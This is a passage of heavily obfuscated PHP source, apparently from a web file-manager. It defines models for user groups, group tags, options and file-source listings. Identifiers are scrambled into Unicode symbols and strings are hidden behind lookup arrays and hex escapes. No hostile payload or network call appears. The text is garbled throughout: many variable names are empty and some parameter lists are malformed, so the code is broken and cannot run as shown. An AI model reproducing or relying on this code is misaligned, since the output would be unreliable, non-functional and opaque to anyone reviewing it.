($Ƥ[$[1866]] == $ɜļ[$[1866]]) { return !1; } if ($Ѿ[$[461]] != $Ƥ[$[461]]) { if ($ɜļ[$[540]] !== $Ƥ[$[540]] && strpos($ɜļ[$[540]], $Ƥ[$[540]] . $Ƥ[$[1866]] . $[50]) === 0) { return !1; } $Ѿ[$[609]] = $ɜļ[$[540]] . $Ѿ[$[461]] . $[50]; $this->_changeChildLevel($Ƥ, $ɜļ); $this->_clearCache($ɜļ[$[1866]]); $this->_clearCache($Ƥ[$[461]]); } } if (isset($Ѿ[$[32]])) { $this->setNamePinyin($숚, $Ѿ[$[32]]); } if (isset($Ѿ[$[1952]])) { $this->metaSet($숚, array($[1952] => $Ѿ[$[1952]], $[1953] => $Ѿ[$[1953]])); unset($Ѿ[$[1952]]); unset($Ѿ[$[1953]]); } $this->_clearChildrenCache($Ƥ); return $this->where(array($[1954] => $숚))->save($Ѿ); } private function _clearChildrenCache($Ұ) { $ =& $_SERVER[]; $ٍ̀ = array($[609] => array($[569], $Ұ[$[540]] . $Ұ[$[1866]] . $[570])); $֦ = $this->field($[1866])->where($ٍ̀)->select(); foreach ($֦ as $П) { $this->_clearCache($П[$[1866]]); } } private function _clearCache($) { $Ȝ =& $_SERVER[]; $this->cacheFunctionClear($Ȝ[1948], $); $this->cacheFunctionClear($Ȝ[1949], $); } private function _changeChildLevel($, $, $ԙ = false) { $ =& $_SERVER[]; $π = $[$[540]] . $[$[1866]] . $[50]; $ = $[$[540]] . $[$[1866]] . $[50] . $[$[1866]] . $[50]; if ($ԙ) { $ = $[$[540]] . $[$[1866]] . $[50]; } $Ɵ = array($[609] => array($[569], $[$[540]] . $[$[1866]] . $[570])); $ = array($[609] => array($[618], "\x72\145\160\x6c\141\143\x65\x28\x70\141\162\x65\156\x74\114\x65\166\145\x6c\x2c\x27{$π}\x27\x2c\x27{$}\x27\51")); $this->_clearChildrenCache($); $this->where($Ɵ)->data($)->save(); } public function setNamePinyin($, $㑛 = false) { $Ɓ =& $_SERVER[]; if (!$㑛) { $ݨқ = $this->getInfoSimple($); $㑛 = $ݨқ[$Ɓ[32]]; } if (!Input::check($㑛, $Ɓ[612])) { $this->metaSet($, $Ɓ[494], null); $this->metaSet($, $Ɓ[493], null); return; } $׼ = array($Ɓ[494] => str_replace($Ɓ[53], $Ɓ[12], Pinyin::get($㑛)), $Ɓ[493] => Pinyin::get($㑛, $Ɓ[613])); $this->metaSet($, $׼); } protected function groupStatus($, $겴) { $ =& $_SERVER[]; $Ү؉ = $this->getInfoSimple($); if (!$Ү؉) { return !1; } if ($겴 == $[88]) { $ = $this->parentLevelArray($Ү؉[$[540]]); } else { $᪲ = array($[609] => array($[569], $Ү؉[$[540]] . $Ү؉[$[1866]] . $[570])); $ = $this->where($᪲)->field($[1866])->select(); $ = array_to_keyvalue($, $[12], $[1866]); } $[] = $Ү؉[$[1866]]; $ = array(); foreach ($ as $) { $[] = array($[1866] => $, $[94] => $[776], $[403] => $겴); $this->_clearCache($); } return Model($[1955])->addAll($, array(), !0); } protected function groupRemove($, $ = false) { $̋ =& $_SERVER[]; $ٞ = array($̋[1866] => $); $ = $this->where($ٞ)->find(); if (!$ || $[$̋[461]] == 0) { return !1; } if (!$) { $޴ = $this->getInfoSimple($[$̋[461]]); $this->_changeChildLevel($, $޴, !0); $this->where(array($̋[461] => $))->save(array($̋[461] => $[$̋[461]])); $this->_clearCache($޴[$̋[1866]]); } Model($̋[1955])->where($ٞ)->delete(); Model($̋[1956])->where($ٞ)->delete(); Model($̋[851])->groupRootRemove($); $this->_clearCache($[$̋[461]]); return $this->where($ٞ)->delete(); } protected function groupSort($) { $뿉 =& $_SERVER[]; $ޑ = array(); foreach ($ as $ => $Ӧ貭) { $ޑ[] = array($뿉[1866], $Ӧ貭, $뿉[1890], $ + 1); } $this->saveAll($ޑ); } public function listData() { $䶺 = $this->_makeOrder()->selectPage(50); $this->_listDataApply($䶺[$_SERVER[][398]]); return $䶺; } private function _makeOrder($ = '') { $Ŏ =& $_SERVER[]; $ӫ = array($Ŏ[1866], $Ŏ[32], $Ŏ[1855], $Ŏ[201]); $֞ = array($Ŏ[479] => $Ŏ[480], $Ŏ[481] => $Ŏ[482]); $󳍫 = Input::get($Ŏ[486], $Ŏ[7], $Ŏ[1870], $ӫ); $ƫ = Input::get($Ŏ[487], $Ŏ[7], $Ŏ[1957], array($Ŏ[1957], $Ŏ[481])); $ƫ = $֞[$ƫ]; $ = $ . "{$󳍫}\40{$ƫ}\54\x20\147\162\x6f\165\160\111\x44\40\141\163\x63"; return $this->order($); } public function listChild($ˏ) { $ =& $_SERVER[]; $ӏ = $this->where(array($[461] => $ˏ))->_makeOrder()->selectPage(200); $this->_listDataApply($ӏ[$[398]]); return $ӏ; } public function listChildIds($爆) { $؉ =& $_SERVER[]; if (is_string($德)) { $爆 = explode($؉[50], $爆); } $ = $this->where(array($؉[1866] => array($؉[7], $爆)))->field($؉[1958])->select(); if (!$) { return !1; } $ҍ = array(); foreach ($ as $繜) { $ҍ[] = "\163\145\x6c\145\x63\x74\x20\x67\162\x6f\x75\160\111\104\40\x66\162\x6f\155\40\140\x67\x72\157\x75\160\140\x20\x77\150\145\x72\145\40\x70\141\162\x65\x6e\x74\x4c\145\166\x65\x6c\40\154\x69\x6b\145\x20\47{$繜[$؉[540]]}{$繜[$؉[1866]]}\54\x25\x27"; } $ҍ = implode($؉[1959], $ҍ); $ = $this->query($ҍ); if (!$) { return array(); } $爆 = array_to_keyvalue($, $؉[12], $؉[1866]); return array_unique($爆); } public function listByID($ؿ) { $͔ =& $_SERVER[]; if (!$ؿ) { return array(); } $ = array($͔[1866] => array($͔[7], $ؿ)); $囙 = $this->where($)->select(); $囙 = array_sort_keep($囙, $͔[1866], $ؿ); $this->_listDataApply($囙); return $囙; } public function listSearch($Ă׾) { $睟 =& $_SERVER[]; $޿棤 = $Ă׾[$睟[1960]]; $ = isset($Ă׾[$睟[1961]]) ? $Ă׾[$睟[1961]] : !1; if (!trim($޿棤)) { return !1; } $޿棤 = str_replace($睟[1962], $睟[1963], $޿棤); $ʟ = array($睟[1866] => array($睟[412], "{$޿棤}\45"), $睟[32] => array($睟[412], "\45{$޿棤}\45"), $睟[1033] => $睟[1964]); if ($) { $ = $this->getInfoSimple($); $ڗɍ = $[$睟[540]] . $ . $睟[570]; $ʟ = array($ʟ, array($睟[540] => array($睟[412], $ڗɍ))); } $ʟ = $this->parseWhereLike($ʟ); $Ӳ = $this->_makeOrder()->where($ʟ)->selectPage(20); $Ӳ = $Ӳ ? $Ӳ : array($睟[398] => array(), $睟[395] => array()); if (!$Ӳ || count($Ӳ[$睟[398]]) < 5 && Input::check($޿棤, $睟[347])) { $ϊ = $this->groupChildrenAll($); $Ê = $this->_searchFromMeta($睟[493], $޿棤, 10, $ϊ); $ٰ = $this->_searchFromMeta($睟[494], $޿棤, 10, $ϊ); $çҾ = array_merge($Ê, $ٰ, $Ӳ[$睟[398]]); $Ӳ[$睟[398]] = array_unique_by_key($çҾ, $睟[1866]); $Ӳ[$睟[395]][$睟[396]] = count($Ӳ[$睟[398]]); $Ӳ[$睟[395]][$睟[397]] = ceil($Ӳ[$睟[395]][$睟[396]] / $Ӳ[$睟[395]][$睟[392]]); } $this->_listDataApply($Ӳ[$睟[398]]); return $Ӳ; } protected function groupChildrenAll($) { $ϸ =& $_SERVER[]; if (!$) { return !1; } if (is_string($)) { $ = array($); } $ = $; foreach ($ as $ʚ) { $򸹶 = $this->getInfoSimple($ʚ); $ï = array($ϸ[540] => array($ϸ[412], $򸹶[$ϸ[540]] . $ʚ . $ϸ[570])); $ߟ = $this->field($ϸ[1866])->where($ï)->select(); $ = array_merge($, array_to_keyvalue($ߟ, $ϸ[12], $ϸ[1866])); } return array_unique($); } private function _searchFromMeta($, $җ, $, $ޖ؋ǵ) { $٥ =& $_SERVER[]; $җ = strtolower($җ); $ = array($٥[94] => $, $٥[403] => array($٥[412], "\45{$җ}\x25")); $ = $this->parseWhereLike($); if ($ޖ؋ǵ) { $[$٥[1866]] = array($٥[7], $ޖ؋ǵ); } $˅꤀ = Model($٥[1965])->where($)->limit($)->select(); if (!$˅꤀) { return array(); } $˅꤀ = array_to_keyvalue($˅꤀, $٥[12], $٥[1866]); $ĝ = $this->where(array($٥[1954] => array($٥[7], $˅꤀)))->select(); if (!$ĝ) { return array(); } return $ĝ; } protected function _listDataApplyItem($) { $샬 = array($); $this->_listDataApply($샬); return $샬[0]; } protected function _listDataApply(&$) { $ =& $_SERVER[]; if (!$) { return; } $ = array_to_keyvalue($, $[12], $[1866]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $); } private function _listAppendChildren(&$) { $Җ =& $_SERVER[]; $מ = array_to_keyvalue($, $Җ[12], $Җ[1866]); $咜 = array($Җ[461] => array($Җ[7], $מ)); $ = array($Җ[461], $Җ[1966] => $Җ[520]); $ = $this->field($)->where($咜)->group($Җ[461])->select(); $嵽 = array_to_keyvalue($, $Җ[461], $Җ[520]); foreach ($ as &$) { $ = $[$Җ[1866]]; $[$Җ[1967]] = isset($嵽[$]) ? intval($嵽[$]) : !1; } unset($); } private function _listAppendChildrenMember(&$) { $ =& $_SERVER[]; $ν = array_to_keyvalue($, $[12], $[1866]); $ = array($[1866] => array($[7], $ν)); $Ы = array($[1866], $[1966] => $[520]); $񽫠 = Model($[1956])->field($Ы)->where($)->group($[1866])->select(); $ = array_to_keyvalue($񽫠, $[1866], $[520]); foreach ($ as &$) { $è = $[$[1866]]; $[$[1968]] = isset($[$è]) ? intval($[$è]) : !1; } unset($); } private function _listAppendMeta(&$, $׮) { $̎ =& $_SERVER[]; $ĕ = array($̎[1866] => array($̎[7], $׮)); $띴 = Model($̎[1955])->where($ĕ)->select(); $띴 = array_to_keyvalue_group($띴, $̎[1866]); foreach ($띴 as &$՜) { $՜ = array_to_keyvalue($՜, $̎[94], $̎[403]); } unset($՜); foreach ($ as &$ݯ) { $ݯ[$̎[495]] = array(); if (isset($띴[$ݯ[$̎[1866]]])) { $ݯ[$̎[495]] = $띴[$ݯ[$̎[1866]]]; } } unset($ݯ); } protected function parentLevelArray($򮟈) { $ڑ =& $_SERVER[]; $򮟈 = explode($ڑ[50], trim($򮟈, $ڑ[50])); $򮟈 = array_remove_value($򮟈, $ڑ[198]); return $򮟈; } protected function parentInGroup($Ʒ, $) { $ܺ =& $_SERVER[]; $ = $this->getInfoSimple($Ʒ); if (!$) { return !0; } $ = $this->parentLevelArray($[$ܺ[540]]); $[] = $Ʒ; foreach ($ as $Ʒ) { if (in_array($Ʒ . $ܺ[12], $)) { return !0; } } return !1; } private function _listAppendParent(&$¸) { $ =& $_SERVER[]; $քә = array(); foreach ($¸ as &$) { $քә[$[$[1866]]] = $[$[32]]; $ҷ = $this->parentLevelArray($[$[540]]); foreach ($ҷ as $ij) { if (!isset($քә[$ij])) { $քә[$ij] = 0; } } } unset($); foreach ($քә as $ => $) { if ($) { continue; } $洣 = $this->getInfoSimple($); $քә[$] = $洣[$[32]]; } $撪 = $GLOBALS[$[6]][$[89]][$[1969]]; if ($GLOBALS[$[523]] == $[88]) { $撪 = !1; } foreach ($¸ as &$) { $ҷ = $this->parentLevelArray($[$[540]]); $У = $[12]; foreach ($ҷ as $ => $ij) { if ($撪 && $ == 0) { continue; } $У .= $քә[$ij] . $[8]; } if ($ҷ) { $У .= $[$[32]]; } $[$[545]] = str_replace($[548], $[8], $У); } unset($); } private function _listAppendSourceRoot(&$, $) { $ =& $_SERVER[]; $ե = Model($[851])->listSourceRoot(SourceModel::TYPE_GROUP, $); $ե = array_to_keyvalue($ե, $[525]); $ե = array_remove_key($ե, $[525]); foreach ($ as &$) { $[$[87]] = $ե[$[$[1866]]] ? $ե[$[$[1866]]] : array(); } unset($); } protected function groupMerge($ʿ) { $ʿ = array_values(array_unique($ʿ)); $ = array(); for ($ = 0; $ < count($ʿ); $++) { $ǔ = !1; for ($ = 0; $ < count($ʿ); $++) { if ($ == $) { continue; } if ($this->isParentOf($ʿ[$], $ʿ[$])) { $ǔ = !0; break; } } if (!$ǔ) { $[] = $ʿ[$]; } } return $; } protected function isParentOf($, $) { $ =& $_SERVER[]; if (!$ || !$ || $ == $) { return !1; } $ձ = $this->getInfoSimple($); $ܦ = $this->getInfoSimple($); $ = $ձ[$[540]] . $ . $[50]; if (substr($ܦ[$[540]], 0, strlen($)) == $) { return !0; } return !1; } public function groupShowRoot($ԛТ, $ұ = false) { $ =& $_SERVER[]; $ = $this->getInfo($ԛТ); if (!$) { return array(); } $Ӂˊ = $this->parentLevelArray($[$[540]]); $Ћ = array($ԛТ); if (count($Ӂˊ) == 0) { return $Ћ; } if ($ұ && count($Ӂˊ) == 1) { return $Ћ; } if (!$[$[495]] || !isset($[$[495]][$[1952]]) || $[$[495]][$[1952]] == $[1921]) { return $this->groupShowRoot($Ӂˊ[count($Ӂˊ) - 1], $ұ); } if ($[$[495]][$[1952]] == $[386]) { $ = explode($[50], $[$[495]][$[1953]]); if ($) { $Ћ = array_merge($Ћ, $); } } return $Ћ; } protected function resetParentLevel() { $ȁ =& $_SERVER[]; $ˈ = $ȁ[1866]; $Ҽ뽬 = $this->select(); $Ҽ뽬 = array_to_keyvalue($Ҽ뽬, $ˈ); foreach ($Ҽ뽬 as $) { $鈤 = $; $œ޲ = array(); while ($鈤[$ȁ[461]] != 0) { $œ޲[] = $鈤[$ȁ[461]]; $鈤 = $Ҽ뽬[$鈤[$ȁ[461]]]; } $œ޲[] = 0; $œ޲ = $ȁ[50] . implode($ȁ[50], array_reverse($œ޲)) . $ȁ[50]; $this->setNamePinyin($[$ˈ], $[$ȁ[32]]); $this->where(array($ˈ => $[$ˈ]))->save(array($ȁ[609] => $œ޲)); } return $Ҽ뽬; } public function groupNameAuto($, $ߪ) { $㗲 =& $_SERVER[]; $䠄 = $this->where(array($㗲[430] => $))->getField($㗲[32], !0); if (!$䠄 || !in_array($ߪ, $䠄)) { return $ߪ; } for ($މ = 1; $މ <= count($䠄) + 1; $މ++) { $ = $ߪ . "\50{$މ}\x29"; if (!in_array($, $䠄)) { return $; } } } public function groupSwitch($֭, $ӻߩ) { $񒦆 =& $_SERVER[]; $ = array($񒦆[1866] => array($񒦆[7], array($֭, $ӻߩ))); $ = $this->where($)->select(); $ = array_to_keyvalue($, $񒦆[1866]); if (!isset($[$֭]) || !isset($[$ӻߩ]) || $[$֭][$񒦆[461]] == 0) { return !1; } $ = array($񒦆[1866] => $֭); $հ = Model($񒦆[1956])->where($)->select(); if (!$հ) { $հ = array(); } foreach ($հ as $ܝ) { $ = $ܝ[$񒦆[1676]]; $ = array($񒦆[1676] => $, $񒦆[1866] => $ӻߩ); $腺 = Model($񒦆[1956])->where($)->find(); if (!$腺) { $Ƒ = array($ӻߩ => $ܝ[$񒦆[1970]]); Model($񒦆[554])->userGroupAdd($, $Ƒ); } Model($񒦆[554])->userGroupRemove($, $֭); } $ = array($񒦆[440] => 2, $񒦆[461] => 0, $񒦆[439] => 1, $񒦆[525] => array($񒦆[7], array($֭, $ӻߩ))); $ﱳ = Model($񒦆[851])->where($)->field($񒦆[1971])->select(); $ﱳ = array_to_keyvalue($ﱳ, $񒦆[525], $񒦆[431]); $ = !empty($ﱳ[$֭]) ? $ﱳ[$֭] : !1; if ($) { if (!$ﱳ[$ӻߩ]) { $ﱳ[$ӻߩ] = Model($񒦆[851])->groupRootAdd($ӻߩ); } $ķ = $ﱳ[$ӻߩ]; $ = array($񒦆[461] => $); $ﱳ = Model($񒦆[851])->where($)->field($񒦆[1972])->select(); if (!$ﱳ) { $ﱳ = array(); } Model($񒦆[851])->moveClearAuth = !1; foreach ($ﱳ as $柝) { $ڏ = $柝[$񒦆[439]] == $񒦆[88] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($񒦆[851])->move($柝[$񒦆[431]], $ķ, $ڏ); } Model($񒦆[851])->moveClearAuth = !0; $ = array($񒦆[440] => 2, $񒦆[525] => $֭); $ = array($񒦆[525] => $ӻߩ); Model($񒦆[1973])->where($)->save($); Model($񒦆[1974])->where($)->save($); } $this->_changeChildLevel($[$֭], $[$ӻߩ], !0); $this->where(array($񒦆[461] => $֭))->save(array($񒦆[461] => $ӻߩ)); $this->_clearChildrenCache($[$ӻߩ]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\x75\163\145\162\137\146\141\166"; protected function cacheFunctionAlias($) { $ȵ =& $_SERVER[]; return array($ȵ[1975] => array($[0], $ȵ[1976]), $ȵ[1977] => array($[0], $ȵ[1978])); } protected function get($) { $ۆ =& $_SERVER[]; $ޭ = Model($ۆ[541])->metaGet($, $ۆ[1979]); $ = json_decode($ޭ, !0); return $ ? $ : array($ۆ[1980] => $ۆ[88], $ۆ[398] => array()); } protected function set($, $̕) { $ =& $_SERVER[]; $̕ = $̕ ? $̕ : array($[1980] => $[88], $[398] => array()); return Model($[541])->metaSet($, $[1979], json_encode($̕)); } protected function getByTagID($ނ, $Ɲ) { $򼵬 =& $_SERVER[]; if (!$ނ || !$Ɲ) { return !1; } if (!Model($򼵬[541])->getInfoSimple($ނ)) { return !1; } $䏧 = $this->get($ނ); if (!$䏧 || !isset($䏧[$򼵬[398]])) { return !1; } $ = array_find_by_field($䏧[$򼵬[398]], $򼵬[428], $Ɲ); return is_array($) ? $ : !1; } public function listSource($ޓ, $ҭ) { $̚ =& $_SERVER[]; if ($ҭ && !is_array($ҭ)) { $ҭ = array($ҭ); } $٪ = $this->listData($ޓ); $ޒ = array(); foreach ($٪ as $̖㝌) { $΂ = $̖㝌[$̚[84]]; if (!$΂) { continue; } if (!isset($ޒ[$΂])) { $ޒ[$΂] = array(); } $ޒ[$΂][] = $̖㝌[$̚[455]]; } $։ = array(); foreach ($ޒ as $܄ݬ => $) { $ = !0; if (!$ҭ) { $։[] = $܄ݬ; continue; } foreach ($ҭ as $򕅝) { if (!in_array($򕅝, $)) { $ = !1; break; } } if ($) { $։[] = $܄ݬ; } } if (!$։) { return array(); } $յ = array($̚[446] => array($̚[447], $։), $̚[525] => $ޓ, $̚[440] => SourceModel::TYPE_GROUP); $桯 = Model($̚[1366])->listSource($յ); if (!$桯 || count($։) == $桯[$̚[395]][$̚[396]]) { return $桯; } $뭝 = array(); $ɝ = array_to_keyvalue($桯[$̚[82]], $̚[12], $̚[431]); $ = array_to_keyvalue($桯[$̚[83]], $̚[12], $̚[431]); $ = array_merge($, $ɝ); foreach ($։ as $΂) { if (!in_array($΂, $)) { $뭝[] = $΂; } } if ($뭝) { $this->removeBySource($ޓ, $뭝); } return $桯; } protected function listData($ݗ) { $ =& $_SERVER[]; $Ύ = array($[1667] => 0, $[512] => array($[1981], 0), $[451] => $[1982] . $ݗ); $ޖ = $[1983]; $щ = $this->field($ޖ)->where($Ύ)->order($[1984])->select(); return $щ ? $щ : array(); } protected function addToTag($¼, $, $̓) { $ =& $_SERVER[]; if (!$this->getByTagID($¼, $̓) || !$) { return !1; } if (!Model($[851])->pathInfo($)) { return !1; } $ܱ = array($[1667] => 0, $[512] => $̓, $[450] => $, $[451] => $[1985] . $¼, $[449] => $[12], $[1870] => 0); if ($this->where($ܱ)->find()) { return !1; } return $this->add($ܱ); } protected function removeFromTag($, $Ҩ, $׈) { $֬ =& $_SERVER[]; if (!$this->getByTagID($, $׈) || !$Ҩ) { return !1; } if (is_array($Ҩ)) { $Ҩ = array($֬[7], $Ҩ); } $ = array($֬[1667] => 0, $֬[512] => $׈, $֬[451] => $֬[1985] . $, $֬[450] => $Ҩ); return $this->where($)->delete(); } protected function removeByTag($, $ύѿ) { $Б =& $_SERVER[]; if (!$this->getByTagID($, $ύѿ)) { return !1; } $⠧ = array($Б[1667] => 0, $Б[512] => $ύѿ, $Б[451] => $Б[1985] . $); return $this->where($⠧)->delete(); } protected function removeBySource($㌹, $Б) { $̢ =& $_SERVER[]; if (!$㌹ || !$Б) { return !1; } if (is_array($Б)) { $Б = array($̢[7], $Б); } $˅ = array($̢[1667] => 0, $̢[450] => $Б, $̢[512] => array($̢[1047], 0), $̢[451] => $̢[1985] . $㌹); return $this->where($˅)->delete(); } } goto fʅ; Aʋʾ: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($Ǜ = false, $໮ = '', $ = false) { $ =& $_SERVER[]; $ϰ = $this->cacheGet($໮); $ٿؿ = $this->optionDefault($໮); $ٿؿ = is_array($ٿؿ) ? $ٿؿ : array(); if (is_array($ϰ)) { $ϰ = array_merge($ٿؿ, $ϰ); return $Ǜ ? isset($ϰ[$Ǜ]) ? $ϰ[$Ǜ] : null : $ϰ; } $ = $this->filterWhere(array($[33] => $໮)); $ϰ = $this->where($)->select(); $ϰ = array_to_keyvalue($ϰ, $[94], $[403]); foreach ($ϰ as $ => $ɸ܄) { if ($ || in_array($, $this->jsonField)) { $ϰ[$] = json_decode($ɸ܄, !0); } } $this->cacheSet($໮, $ϰ); $ϰ = array_merge($ٿؿ, $ϰ); return $Ǜ ? $ϰ[$Ǜ] : $ϰ; } public function set($줍Ԑ, $ᣌ = false, $棨 = '') { $ =& $_SERVER[]; $this->cacheRemove($棨); $ͻˉ = array(); $޼ = is_array($줍Ԑ) ? $줍Ԑ : array($줍Ԑ => $ᣌ); foreach ($޼ as $Ԛ => $) { if (is_array($)) { $ = json_encode_force($); } $this->checkLength($, !1, $this->tableName . $[4] . $줍Ԑ); $ = self::textEncode($); $޼ = array($[33] => $棨, $[94] => $Ԛ, $[403] => $); $ͻˉ[] = $this->filterWhere($޼); } if (!$ͻˉ) { return !0; } $ˎ歡 = $this->cacheKey($[429]); CacheLock::lock($ˎ歡); $趒 = $this->addAll($ͻˉ, array(), !0); CacheLock::unlock($ˎ歡); return $趒; } protected function optionDefault($ = '') { return !1; } public function setDeep($λ, $݇ = false, $ = '') { $ = explode($_SERVER[][10], $λ); $ = $this->get(); array_set_value($, $λ, $݇); $this->set($[0], $[$[0]], $); } public function remove($, $ّ = '') { $Ը =& $_SERVER[]; $this->cacheRemove($ّ); $‡ă = $this->filterWhere(array($Ը[94] => $, $Ը[33] => $ّ)); if (is_null($)) { unset($‡ă[$Ը[94]]); } return $this->where($‡ă)->delete(); } public function cacheSet($ܶ, $ = false) { return Cache::set($this->cacheKey($ܶ), $); } public function cacheGet($) { return Cache::get($this->cacheKey($)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($Ҧ) { return $Ҧ; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "\151\157\x5f\163\157\x75\x72\143\x65"; protected $tableMeta = array("\x74\x61\x62\154\x65\x4e\x61\155\x65" => "\x69\157\137\163\157\165\x72\143\145\137\x6d\145\x74\x61", "\155\145\x74\141\x46\x69\x65\154\x64" => "\x73\157\x75\x72\143\x65\111\x44"); protected $dataAuto = array(array("\x6d\157\x64\x69\146\171\124\x69\155\145", "\164\x69\x6d\x65", "\151\156\x73\x65\x72\164", "\x66\165\x6e\x63\x74\151\x6f\156"), array("\x63\x72\x65\x61\164\x65\124\151\155\x65", "\164\151\x6d\145", "\151\156\x73\x65\x72\x74", "\x66\x75\156\x63\x74\151\157\156"), array("\166\151\x65\x77\124\151\x6d\x65", "\x74\x69\155\x65", "\151\x6e\x73\x65\x72\164", "\x66\x75\x6e\x63\x74\x69\x6f\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($ׇ) { return $this->listSource(array($_SERVER[][430] => $ׇ)); } public function typeName($;) { static $ = array(self::TYPE_SYSTEM => "\x73\x79\x73\164\x65\x6d", self::TYPE_USER => "\165\163\x65\162", self::TYPE_GROUP => "\147\162\x6f\165\160"); return $[$; . $_SERVER[][12]]; } public function sourceListInfo($փ, $ݎ = false) { $ =& $_SERVER[]; $փ = $փ ? $փ : array(); $փ = array_filter(array_unique($փ)); if (!$փ) { return array(); } $ԥ = $this->where(array($[431] => array($[7], $փ)))->select(); $this->_listDataApply($ԥ, $ݎ); return array_to_keyvalue($ԥ, $[431]); } public function pathInfoFilter(&$¸) { $ס =& $_SERVER[]; static $腑 = false; static $ܠ = false; static $޻ޅ = false; if (!$腑) { $ִ = $ס[432]; $ִ .= $ס[433]; $ִ .= $ס[434]; $Ԏ = $ס[435]; $ۘѹ = explode($ס[50], $Ԏ); $腑 = explode($ס[50], $ִ); $ܠ = array(); foreach ($腑 as $) { if (in_array($, $ۘѹ)) { continue; } $ܠ[] = $; } $޻ޅ = explode($ס[50], $ס[436]); } foreach ($޻ޅ as $ך鎚) { if (isset($¸[$ך鎚])) { $¸[$ך鎚] = intval($¸[$ך鎚]); } } $¸[$ס[84]] = $ס[437] . $¸[$ס[431]] . $ס[438]; $¸[$ס[33]] = $¸[$ס[439]] == 1 ? $ס[75] : $ס[200]; $¸[$ס[440]] = $this->typeName($¸[$ס[440]]); if ($¸[$ס[439]] != 1) { $¸[$ס[174]] = $¸[$ס[441]]; unset($¸[$ס[441]]); } $͋ = $腑; if (isset($¸[$ס[442]]) && $¸[$ס[442]][$ס[443]] == -1) { $͋ = $ܠ; } $¸ = array_field_key($¸, $͋); return $¸; } public function listUserFav() { $ =& $_SERVER[]; $ = Model($[444])->listData(); $ֹ = array_filter_by_field($, $[33], $[445]); $ֹ = array_to_keyvalue($ֹ, $[12], $[84]); if ($ֹ) { $ = $this->listSource(array($[446] => array($[447], $ֹ))); } $ = array_to_keyvalue($[$[398]], $[431]); foreach ($ as &$) { $ = array($[448] => $[$[428]], $[449] => $[$[32]], $[450] => $[$[84]], $[451] => $[$[33]], $[452] => $[$[201]], $[453] => $[$[85]]); if ($[$[33]] == $[445] && $[$[$[84]]]) { $[$[87]] = $[$[$[84]]]; } } unset($); return $; } public function listUserTag($筫) { $Ԫ =& $_SERVER[]; if ($筫 && !is_array($筫)) { $筫 = array($筫); } $܏ = Model($Ԫ[454])->listData(); $̏ = array(); $ׄ = array(); foreach ($܏ as $ó) { $ΐį = $ó[$Ԫ[84]]; if (!$ΐį) { continue; } if (!isset($ׄ[$ΐį])) { $ׄ[$ΐį] = array(); } $ׄ[$ΐį][] = $ó[$Ԫ[455]]; $̏[$ó[$Ԫ[84]]] = $ó; } $λٯ = array(); $޻͇ = array(); $ = array(); foreach ($ׄ as $֠ => $żՏ) { $捑 = !0; if (!$筫) { $λٯ[] = $֠; continue; } foreach ($筫 as $) { if (!in_array($, $żՏ)) { $捑 = !1; break; } } if (!$捑) { continue; } if (!is_numeric($֠)) { $ = $̏[$֠]; $᪾ = array($Ԫ[32] => $[$Ԫ[32]], $Ԫ[84] => $[$Ԫ[84]], $Ԫ[33] => $[$Ԫ[33]], $Ԫ[87] => array($Ԫ[456] => 1), $Ԫ[202] => !0); if ($[$Ԫ[33]] == $Ԫ[200]) { $[] = $᪾; } if ($[$Ԫ[33]] == $Ԫ[75]) { $޻͇[] = $᪾; } continue; } $λٯ[] = $֠; } if ($λٯ) { $ŕ = $this->listSource(array($Ԫ[446] => array($Ԫ[447], $λٯ))); } $ŕ = $ŕ ? $ŕ : array($Ԫ[82] => array(), $Ԫ[83] => array()); $ŕ[$Ԫ[82]] = array_merge($ŕ[$Ԫ[82]], $޻͇); $ŕ[$Ԫ[83]] = array_merge($ŕ[$Ԫ[83]], $); if (isset($ŕ[$Ԫ[395]]) && count($λٯ) == $ŕ[$Ԫ[395]][$Ԫ[396]]) { return $ŕ; } $Ťܩ = array(); $ь = array_to_keyvalue($ŕ[$Ԫ[82]], $Ԫ[12], $Ԫ[431]); $ = array_to_keyvalue($ŕ[$Ԫ[83]], $Ԫ[12], $Ԫ[431]); $ = array_merge($, $ь); foreach ($λٯ as $ΐį) { if (!in_array($ΐį, $)) { $Ťܩ[] = $ΐį; } } if ($Ťܩ) { Model($Ԫ[457])->removeBySource($Ťܩ); } return $ŕ; } public function listUserRecycle() { $봼 =& $_SERVER[]; $š = Model($봼[458])->listData(); if (!$š) { return array(); } $É = array($봼[446] => array($봼[447], $š), $봼[459] => 1); return $this->listSource($É); } public function listSource($, $ = 3000, $ = false) { $ɐ =& $_SERVER[]; if (!isset($[$ɐ[460]])) { $[$ɐ[460]] = 0; } if (isset($[$ɐ[461]]) && $[$ɐ[461]] == $ɐ[198]) { $[$ɐ[441]] = array($ɐ[360], $ɐ[462]); } $ = $ɐ[463]; $ꟼ = $this->field($)->_makeOrder()->where($)->selectPage($); $this->_listPageCheck($ꟼ, $, $); $this->_listDataApply($ꟼ[$ɐ[398]], $); $this->_listMake($ꟼ); return $ꟼ; } private function _listPageCheck(&$, $µ, $۰) { $ǎ =& $_SERVER[]; if (!is_array($[$ǎ[395]])) { return; } $ޘ䩾 = $[$ǎ[395]]; if ($ޘ䩾[$ǎ[397]] <= 1) { return; } if ($ޘ䩾[$ǎ[396]] >= 100000) { return; } if (Model($ǎ[464])->get($ǎ[465]) != $ǎ[466]) { return; } $µ = str_replace(array($ǎ[53], $ǎ[371], $ǎ[231]), $ǎ[12], $µ); $µ = $ǎ[467] . str_replace($ǎ[50], $ǎ[468], $µ) . $ǎ[469]; $ = $ǎ[470]; $ = $ . $ǎ[471]; $ӈ = $ޘ䩾[$ǎ[392]] * ($ޘ䩾[$ǎ[382]] - 1) . $ǎ[50] . $ޘ䩾[$ǎ[392]]; $ૡ = $this->_makeOrder(!0); $഼ = $ǎ[467] . str_replace($ǎ[50], $ǎ[468], $ૡ[0]); if (strpos($഼, $ǎ[472])) { $഼ = str_replace($ǎ[472], $ǎ[473], $഼); } else { $഼ .= $ǎ[474] . $ૡ[1]; } $͂ = 